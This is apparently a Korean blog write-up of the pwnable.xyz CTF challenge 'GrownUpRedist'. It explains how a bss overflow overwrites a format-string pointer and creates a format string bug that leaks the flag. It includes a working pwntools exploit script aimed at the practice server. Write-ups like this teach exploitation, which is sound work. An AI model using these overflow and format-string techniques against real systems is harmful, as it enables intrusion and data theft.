How to Exploit
setup 함수를 보면 0x601160에 0x601168이 들어가있고 0x601168에는 '%s\n'이 있어서 printf('%d\n', usr);이 이뤄진다.
Design the Payload
- overflow
bss 영역을 살펴보면 usr와 qword_601160의 거리가 80이다. 또한 src에 B*7을 넣었을 때 usr에는 0x0a가 추가된다. 이를 통해 qword_601160의 영역에 침범가능하다.
실제로 '0'을 0x80개 넣어보니 0x601160의 값이 0x601100으로 변하였다.
따라서 0x601100에 서식문자를 넣어 FSB를 일으킬 수 있다.
- pie가 꺼져있으므로 flag의 주소는 0x601080이다. 처음에 buf에 입력받을 때 주소도 입력해주어 스택에 남겨놓고
%s
를 이용하여 flag를 출력하자.
직접 %p를 넣어 오프셋을 계산하였다.
Exploit Code
from pwn import *
#p=process('./GrownUpRedist')
p=remote('svc.pwnable.xyz', 30004)
payload = 'A'*0x20+'%p'*8+'%s'+'A'*(0x60-18)
p.sendlineafter('[y/N]: ', 'yyyyyyyy'+p32(0x601080))
p.sendlineafter('Name: ', payload)
print(p.recv(10000))
Capture The Flag
'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글
TLSv00 (0) | 2020.03.07 |
---|---|
Sub (0) | 2020.03.07 |
Note (0) | 2020.03.07 |
Misalignment (0) | 2020.03.07 |
Add (0) | 2020.03.07 |